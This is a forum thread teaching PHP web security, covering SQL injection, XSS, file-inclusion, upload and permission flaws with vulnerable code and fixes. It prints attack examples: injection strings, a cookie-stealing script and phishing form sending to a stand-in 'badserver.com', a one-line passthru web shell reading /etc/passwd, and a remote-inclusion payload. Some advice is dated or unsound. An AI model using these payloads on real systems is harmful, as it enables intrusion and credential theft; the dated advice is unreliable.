16 replies to this topic

[Gustavo el Geranie]

Hi all,

everybody using PHP programs has heard about security holes in PHP.
This thread should describe how to start a PHP project as safely as possible and how to design a PHP project to exclude as many security holes as possible from the beginning.

Each post will describe one security issue. Please feel free to add.

GeG

[Gustavo el Geranie]

Summary

click on a topic to jump directly to the description

SQL Injection
Quick solutions:

• Use appropriate field types
• use a security class for user input import
• Be careful when you use a string out of the database for comparison

only quoting all user input is not enough

Direct call of included file
Quick solutions: There are many solutions.
I prefer this: put the code in the included file in a function and call it from the main file.

Output of unchecked user input, XSS (Cross-Site-Scripting)
Quick solutions: Use htmlentities() on all user input before output of user vars (except if the output goes into a textarea)

The name of an included file does not end with .php
Quick solutions: Always give your included files a name which ends with .php

Unchecked extension on an uploaded file
Quick solutions: Never let users upload any files. Make sure that they can only upload files with extensions they need.

Access Rights
Quick solutions: Access rights for

• directories: 710 (or 711 if needed)
• upload directories: 770 (or 777 if needed)
• files: 640 (or 644 if needed)
• user manegable files: 660 (or 666 if needed)

Always set the rights as restricive as possible

Login data (username and password) is saved in cookies
Quick solutions: Never save username and password in a cookie.
Always use a session id in the cookie and store username and password as a session variable.

Error messages reveal starting point for an attack
Quick solutions: Set error_reporting(0) or provide your own error handler.

A misconfigured server gives away information about your project's file organization
Quick solutions: Put a dummy index.html and index.php in every directory

Login form uses GET method
Quick solutions: Always submit a username and password with the POST method.

The file name for a file is constructed from user input and executed (Remote File Inclusion)
Quick solution: Only include predefined files

[Gustavo el Geranie]

Problem: SQL Injections

What's that?
A SQL injection is the use of false input via a user variable to change the meaning of a sql statement.

Example

<?php
$admin=$_GET['admin'];
$sql="SELECT username, password FROM user WHERE admin = '$admin' ";
$result=mysql_query($sql);
while ($row=mysql_fetch_row($result)){
    echo "username: ".$row[0]." password: ".$row[1];
}
?>

This code seems to be ok. It receives an admin value from a form and then gets all usernames and passwords for which this admin is responsible.

But...
consider this: code.php?admin=foobar'%20OR%201=1%20--%20

This is a little bit confusing. But we will take it apart step by step:

%20 just means a space, so that leaves this value for admin:
"foobar' OR 1=1 -- "

if we take the sql query from the code above, and replace $admin with this value, we get:
$sql="SELECT username, password FROM user WHERE admin = 'foobar' OR 1=1 -- ' ";

The -- in the end means that the rest of the line is a comment. So we ignore the part behind --. That leaves:
$sql="SELECT username, password FROM user WHERE admin='foobar' OR 1=1";

This query displays all usernames and passwords and the attacker doesn't even have to know any value for admin.

Very bad!

How to avoid it

• Use the appropriate sql field types
  Never store a number in string, use a numerical field
• Use your own user input validation class for all user input
  file ValidateUserInput.php

<?php
// how to use:
// for example to import $_POST['number'] as a number
// $number=ValidateUserInput::getNumber('number', '_POST');
// if you want to check if the user input variable is set:
// if ($number===false) ...
// possible valuse for $method are:
// _POST.........only posted input
// _GET...........only input via get
// _COOKIE.....only input from cookies
// _REQUEST....input from all above (default)

class ValidateUserInput{

    // you have to change mysql_real_escape_string to the correct function for your db
    function getString($variableName, $method='_REQUEST'){
        if (isset($$method[$variableName])){
            return mysql_real_escape_string($$method[$variableName]);
        } else {
            return false;
        }
    }

    function getNumber($variableName, $method='_REQUEST'){
        if (isset($$method[$variableName])){
            return 0+$$method[$variableName];
        } else {
            return false;
        }
    }
}
?>

now just put this as the first line that wants to use user input

<?php require_once('ValidateUserInput.php'); ?>

and don't use $_POST directly, but use the get functions of ValidateUserInput
• Be careful when you use a string out of the database for comparison in a  sql query
  Imagine your code is like this:

<?php
$query="INSERT INTO table (name) VALUES ('".ValidateUserInput::getString(username)."')";
//That is a normal addition of a username, with validated user input
$query="SELECT name FROM table";
//Normal select to get the username.
$query="SELECT * FROM tables2 WHERE name='$name'";
//Seems a normal select for data connected to this username.
?>

But what if...
the user enters this as name "charles' OR 1=1 -- "
The first escape prevents misuse in the first query and enters this string into name
The second query retrieves the string unquoted
The last query now looks like this:
SELECT * FROM tables2 WHERE name='charles' OR 1=1 -- '
which returns data for every name

What to do against that?

• either set set_magic_quotes_runtime(1), this automatically quotes every input from outside, even from databases, the downside of this solution is that you will have unexpected slashes everywhere
• or use mysql_real_escape_string in the third query. This is a good solution, but you have to be careful never to forget it
• or (imo the best solution) never use strings for comparison
  always use numerical indexes
in our example:

<?php
$query="INSERT INTO table (id, name) VALUES (2, '".ValidateUserInput::getString(username)."')";
//That is a normal addition of a username, with validated user input
$query="SELECT id FROM table";
//Normal select to get the username.
$query="SELECT * FROM tables2 WHERE id=$id";
//This works because in a numerical field cannot contain bad characters
?>

Correct example from the beginning

<?php
require_once('ValidateUserInput.php');
$admin=ValidateUserInput::getString('admin');
$sql="SELECT username, password FROM user WHERE admin = '$admin' ";
$result=mysql_query($sql);
while ($row=mysql_fetch_row($result)){
    echo "username: {$row[0])} password:{stripslashes($row[1]}n";
}
?>

If you keep this in mind your code will be safe against basic SQL injections.

[Gustavo el Geranie]

Problem: Direct call of included file

What's that?
An attacker calls a file directly that should only be included from another file.

Example:
main.php:

<?php
if ( $_GET['username'] == 'john' && $_GET['password'] == 'secret' ) {  // if authenticated
    $username=$_GET['username'];
    include('code2.php');
}?>

included.php:

<?php
//display everything for user $username
...
?>

This code seems to be ok. The user calls main.php?username=john&password=secret and if the authentication is ok, his/her data are displayed.

But...
Consider this: included.php?username=john
will display everything whitout password checking.

How to avoid it
There are many solutions.
I prefer this: put the code in the included file in a function and call it from the main file.

Correct example
main.php:

<?php
if ( $_GET['username'] == 'john' && $_GET['password'] == 'secret' ) {  // if authenticated
    $username=$_GET['username'];
    include_once('code2.php');
    display($username);
}?>

included.php:

<?php
function display($username){
    // if you need global vars, declare them with global
    global $var;
    //display everything for user $username
    ....
}
?>

Pls note:

• use include_once here or PHP may complain about multiple function definitions
• You can use classes instead of functions
• Be careful to declare all global vars that you need in the function as global
• additional goodie: $vars will not be confused with different $vars in the included file.
  This may not happen now:
  main.php:

<?php
for ($i=1;$i<5;$i++){  //this will be only executed once, because $i will be 10 after the first include
    include('included.php');
}
?>

included.php:

<?php
for ($i=1; $i<10; $i++){
   echo $i;
}
?>

because now:
main.php:

<?php
for ($i=1;$i<5;$i++){  //this will be executed 5 times, because global $i will not be set in the function
    include_once('included.php');
    display();
}
?>

included.php:

<?php
function display(){
    for ($i=1; $i<10; $i++){
        echo $i;
    }
}
?>

[Gustavo el Geranie]

Problem: Output of unchecked user input, XSS (Cross-Site-Scripting)

What's that?
An attacker can put html and script tags in his input. If they are output unchecked, your site design may be broken and your users may be send to another page without noticing it.

Example

<html><body>
the last post was:<br>
<?php
echo $_GET['userpost'];
?>
<a href="home.php">Home</a>
</body></html>

This code seems to be ok. It produces a html page like this:
the last post was:
post is displayed here
A link to home

But...
Consider this: code.php?userpost=Your%20session%20timed%20out!<br>Please%20reenter%20your%20username
%20and%20password<br><form%20action="http://badserver.com/getpasswords.php">Username:<input%
20type="text"%20name="username"><br>Password:<input%20type="password"%20name="password">
</form></body></html><!--

pls note, the line above must be in one line. (%20 means a space, explanation in the sql injection post)

What happens? Our code would produce this output now:

<html><body>
the last post was:<br>
Your session timed out!<br>
Please reenter your username and password:<br>
<form action="http://badserver.com/getpasswords.php">
Username:<input type="text" name="username"><br>
Password:<input type="password" name="password">
</form>
</body></html><!--<a href="home.php">Home</a>
</body></html>

The user would see the correct address in the address field in the browser and would enter username and password without thinking. But the data will be delivered to the badserver, which would redirect back to the original site. Nobody would see this, but badserver has now username and password.

How to avoid it
Always use the function htmlentities(userinput) before output of user input.

Correct example

<html><body>
the last post was:<br>
<?php
echo htmlentities($_GET['userpost']);
?>
<a href="home.php">Home</a>
</body></html>

With this code the attack code is changed to harmless text, the output would be:

<html><body>
the last post was:<br>
Your session timed out!&lt;br&gt;
Please reenter your username and password:&lt;br&gt;
&lt;form action=&quot;http://badserver.com/getpasswords.php&quot;&gt;
Username:&lt;input type=&quot;text&quot; name=&quot;username&quot;&gt;&lt;br&gt;
Password:&lt;input type=&quot;password&quot; name=&quot;password&quot;&gt;
&lt;/form&gt;
&lt;/body&gt;&lt;/html&gt;&lt;!--
<a href="home.php">Home</a>
</body></html>

This will not be processed by the browser, but just displayed as code.

Pls note: The attacker may also post scripts in your code. This is even more dangerous, because it can send cookies to bad servers.
Example for scripts: code.php?userpost=<script>alert('hi!');</script>

[Gustavo el Geranie]

Problem: The name of an included file does not end with .php

What's that?
If an attacker calls an include file directly, and the name does not end with .php, the web server sends your include file in text format. This is very bad, if you have the database password in your include file for example.

Example
db.inc:

<?php
$username="top";
$password="secret";
$db_handle=mysql_connect("localhost, $username, $password);
?>

code.php

<?php
include("db.inc");
$mysql_select_db('db_name');
//...
?>

This code seems to be ok. It opens the data base connection and selects a data base.

But...
Consider this: http://server.com/db.inc
The attacker will see your code in clear text. He/she can read your username and password.

How to avoid it
Rename your include file to db.inc.php. Now when the file is called directly (http://server.com/db.inc.php), php is executed and an empty page is delivered.

Pls note: To see the danger of this code in real life, do a google search for db.inc

[Gustavo el Geranie]

Problem: Unchecked extension on an uploaded file

What's that?
An attacker may upload a file via an upload system (ie picture album, guest book attachement...) and have it executed because it's extension is not checked (ie .php, .cgi...)

What is affected
Every PHP page, where users can upload a file. These include public picture albums, guest book attachements, music archives, document storages,...

Example
user can upload pictures.
uploaded pictures are stored in http://example.com/pix/user/...

But...
An attacker uploads this file bad.php:

<?php passthru($_GET['bad_command']); ?>

he/she can execute arbitrary system commands as simple as this:

http://example.com/pix/user/bad.php?bad_command=cat+/etc/passwd

How to avoid it
Never let users upload any files. Make sure that they can only upload files with extensions they need.
Don't filter out bad extensions, only allow good extensions. The extensions of executable files may change from system to system, so your code may be safe on one system, but unsafe on another.

[Gustavo el Geranie]

Problem: Access Rights

This is not really a PHP problem, but I think it should be mentioned here.
Since I don't know about windows access rights, some tips may only work under a nix.
To find out about the operating system of your server, try this

<?php echo php_uname(); ?>

What's that?
Access rights define who may do what with your files.

On a unix system, every file has access rights for 3 entities:

• user
  This defines what you may do with your files
• group
  You may allow other members of your group some rights.
• world
  Those are the rights for everybody.

And you can give those rights:

• execute (1)
  This lets the system execute the file. This right should never be set on a web server. PHP files on a web server are execute by the web server software and not by the system.
  For directories, this right has a different meaning. It allows a program to search the directory for a file. For directories this right should be set.
• write (2)
  Who may write in the file or delete it.
• read (4)
  Who may read the file.

the rights are represented as a 3 digit number.
The first digit is the user rights, second for group and third for world rights.
Each digit is an addition of the number of each right you want to give (see listing above, the numbers in brackets)

ie you want to set the rights for code.php to
user (yourself) may read+write
group may read
world may do nothing
user=0+2+4 =>6 (first digit)
group=0+4 => 4 (second digit)
world=0 => 0 (third digit)
Rights: 640
(on many web servers, you must set your file world readable, otherwise the web server may not access it. you have to check it for your web server, if 640 does not work, use 644)

for a directory, set your rights to 710
(on many web servers, you must set your directory world executable, otherwise the web server may not access it. you have to check it for your web server, if 710 does not work, use 711).

How to set those rights?
Normally you will upload your file with a FTP program. Most newer FTP programs have an option to set the access rights for each file.

Problems and how to avoid them

Problem:  A file is world writable.
This means everybody can change your code, for example store the credit card numbers of your shopping system,...
To avoid: set the rights for your code to writable only for the user, not for group and not for world.

Problem:  A directory is world readable
Everybody can see the contents of your directory. If you have a file where you store your passwords, the attacker can easily find it.
To avoid:  set the rights for your directories to readable only for the user, not for group and not for world.

Recommandation:
Access rights for:
directories: 710 (or 711 if needed)
upload directories: 770 (or 777 if needed)
files: 640 (or 644 if needed)
user manegable files: 660 (or 666 if needed)
Always set the rights as restricted as possible

How to check the server where you are hosted
Download remview.php here: remview.php download page.
The page is in russian, but when you scroll down, you will find the download link easily. remview.php is multilingual.

Upload it on your server. Surf to http://yourserver.com/remview.php and check if you can see things that you should not be able to see.
Especially try and step up the directory one step. If you can access other web spaces, either change your host or tell them to change it _NOW_. Because if you can use other web spaces, others can use yours.

[Gustavo el Geranie]

Problem: Login data (username and password) is saved in cookies

What's that?
A site puts login data (ie username, pasword, ...) in cookies. Whenever the user returns, he/she can automatically enter the site.

Example

<?php
// login page (included by every other page)
// if no cookie is set, ask username and password
// if right username and password are provided,
// set cookie with those values for easier access and authentication next time
setcookie('username', $username, time()+2592000); // expires in one month
setcookie('password', $password, time()+2592000);
?>

Why not?
Everybody who uses this computer can read your username and password (try and search your hard disk for a file called cookie.txt. In it you will find the values of all cookies).

Also with an XSS attack (see XSS post), another user may read your username and password.
Imagine getting an email with this content:

Hi my friend,

this is a cool naked picture of <a href="http://your.site.com/somepage.php?var=<script>document.href=
"http://www.badserver.com/getpass.php?cookie="+document.cookie;<script>">Britney Spears</a>.
Take a look

cu Al

Pls note, the link must be in one line
Now what happens?

In you email client, the mail looks like this:

Quote

Hi my friend,

this is a cool naked picture of Britney Spears
Take a look

cu Al

You click on the link, the browser goes to

http://your.site.com/somepage.php

If you have an error message in somepage.php, that says

<?php

<?php
if ($var=='login'){
    echo 'ok';
} else {
    echo "Illegal value for var: $var";
}

?>

your browser will see this:

Illegal value for var: <script>document.href="http://www.badserver.com/getpass.php?cookie="+document.cookie;<script>

Now it will go to

http://www.badserver.com/getpass.php?cookie=username=fred; password=fred

Now badserver saves your username and password, and sends a redirect to some Britney Spears picture. You will never notice that somebody just stole your password.

How to avoid it
Never save username and password in a cookie. Always use a session id in the cookie and store username and password as a session variable.

<?php
// set session cookie
session_start();
// login page (included by every other page)
// if no session is set, ask username and password
if (empty($_SESSION['username']){
    //    ....
} else {
// if right username and password are provided,
// put username/password into session variables for easier access 
// and authentication next time
    $_SESSION['username']=$username;
    $_SESSION['password']=$password;
}
?>

Pls note: When an attacker can read the cookies (either local or by XSS), he/she can still enter with your username. But he/she will not get the username/password in clear text.

[Gustavo el Geranie]

Problem: Error messages reveal starting point for an attack

What's that?
An unfriendly user may gain knowledge about your program's structure and find starting points for an attack by provoking errors and analysing the error responses.

Example:
your main file is called index.php

<?php
$user_coice=$_GET['user_choice'];
include("includes/$user_choice.php");
?>

This code includes a file, that the user may choose. If the file does not exist, a warning is output.
ie $user_choice='make_error' generates this message:
Warning:  main(): Failed opening 'includes/make_error.php' for inclusion  in /home/htdocs/yoursite.com/www/index.php on line 2

Now the attacker knows already two things:
your include-files can be found in a sub directory 'includes'
and your files are in '/home/htdocs/yoursite.com/www/'

For example he/she can try to get the contents of the directory 'includes' and try to find the configuration file with database access.

How to avoid it
When you deploy a project, set this line in the beginning of each file:

<?php error_reporting(0); ?>

This means that PHP issues no error message at all.

Even better would be to create your own error handler:
create a file called log_errors.php

<?php
function myErrorHandler ($errno, $errstr, $errfile, $errline) {
$fp=fopen('error_log.txt','a');
fwrite($fp, "$errno, $errstr, $errfile, $errlinen");
fclose($fp);
echo 'I am sorry, an error occured';
exit(1);

set_error_handler("myErrorHandler");
?>

And in all of your files, make this the first line:

<?php require_once('log_errors.php'); ?>

This logs every error that occurs into a file called 'error_log.txt' and issues a message 'I am sorry, an error occured' that does not reveal any protected information.

Thanks to c.k. for showing me the problem.

[Gustavo el Geranie]

Problem: A misconfigured server gives away information about your project's file organization

What's that?
Let's say you have your project organized in sub directories. All you program code is in the directory 'includes' and all you configuration files are in directory 'config'.
When a bad user tries to view the url www.yoursite.com/includes/ and your web server may show directory indices, he/she will see the names of all your include-files and can then try to access each of them separately and circumvent the login.

How to avoid it:
Put a dummy index.html and index.php in every directory of your project.

<html><body></body></html>

Then every web server will only show an empty page when someone tries to read your directories.

[Gustavo el Geranie]

Problem: Login form uses GET method

What's that?
A login form uses the GET method. On the next page, the username and password will be readable in the browser's address line.

Example

<html><body>
<form action="login.php">
name: <input name="name">
password: <input type="password" name="password">
</form>
</body></html>

If you send this form, your browser's address line would look like this:

http://your.server.com/login.php?name=userinput-name&password=userinput-password

In an office, a coworker would just have to press the back button on the browser a few times to get the username/password of a colleague.

How to avoid it:
Always submit a username and password with the POST method.

<html><body>
<form action="login.php" method="post">
name: <input name="name">
password: <input type="password" name="password">
</form>
</body></html>

Pls note:
Even if you redirect the user after login, so that the browser will not show username and password in the address line, it is not safe to use the GET method. Username and password are still readable in the web servers log. Those are often world readable, so everybody with access to the server can read the data.

[Gustavo el Geranie]

Hi chris,

Quote

This isn't sufficient. If you are on a host with multiple users who have access to php, they can (even if you set your db.inc.php permissions right -- i.e. probably 640) do this:

<?php
include("/var/www/htdocs/notmydir/secret/db.inc.php");
mysql_select_db('db_name', $db);
$q = mysql_query("SELECT UserName, Password FROM UserInfo", $db);
...
?>

this is a badly configured server. On a good web hosting server, you should not be able to see other directories, either because the admin is setting safe_mode=on and open_basedir directives or because they run php as a cgi program with different uid.

So if you can see other web spaces, change your provider (see end of "Problem: Access Rights" post). There is nothing you can do against it, and it stands to reason that if your provider did not fix this, he did not fix other problems also.

I like the idea of additionally putting a .htaccess file in the config directory! I think it is a good idea.

[Gustavo el Geranie]

Problem:The file name for a file is constructed from user input and executed (Remote File Inclusion)

What's that? Let's say you have this code:

<?php
if (isset($_REQUEST['page']){
    // if the user wants another page, we include it here
    include($_REQUEST['page']);
} else {
    // we show the default page
    include('default.html');
}
?>

This seems ok, if the link looks like this: http://www.example.c...?page=page2.php, the code for page2 is executed.

But... let's say an evil guy sends this request: http://www.example.c...ge=/etc/passwd. Now he can see the contents of a system file

Or even worse, an evil girl creates this page on her server: evil.html

<?php
$fp=fopen('index.html');
fwrite($fp, 'Your server is owned by evil girl!');
fclose($fp);
?>

Note the extension .html, this code is not executed on evil girl's server.
Now evil girl sends this to your server: http://www.example.c...l.com/evil.html

What happens?
Your code executes include($_REQUEST['page']); which results in include(http://evil.girl.com/evil.html);
This means evil girl's code is executed on your server, you have lost the hacker game, even if you didn't want to play

How to avoid it: Make an array with pages that can be included, only if the user request is in the array include it, otherwise show the default:

<?php
$allowed_pages=array('pg1' => 'page1.html', 'pg2' => 'page2.php', 'pg3' => 'page3.html');
if (isset($allowed_pages[$_REQUEST['page']])){
    // this is a known page, ok
    include($allowed_pages[$_REQUEST['page']]);
} else {
    // we show the default page
    include('default.html');
}
?>

and the links would look like this: http://www.example.c...de.php?page=pg1, not giving away any information about the file structure you are using

[Gustavo el Geranie]

I think this is a good idea. I haven't heard of a way yet to include a constant in a request, so this should be safe.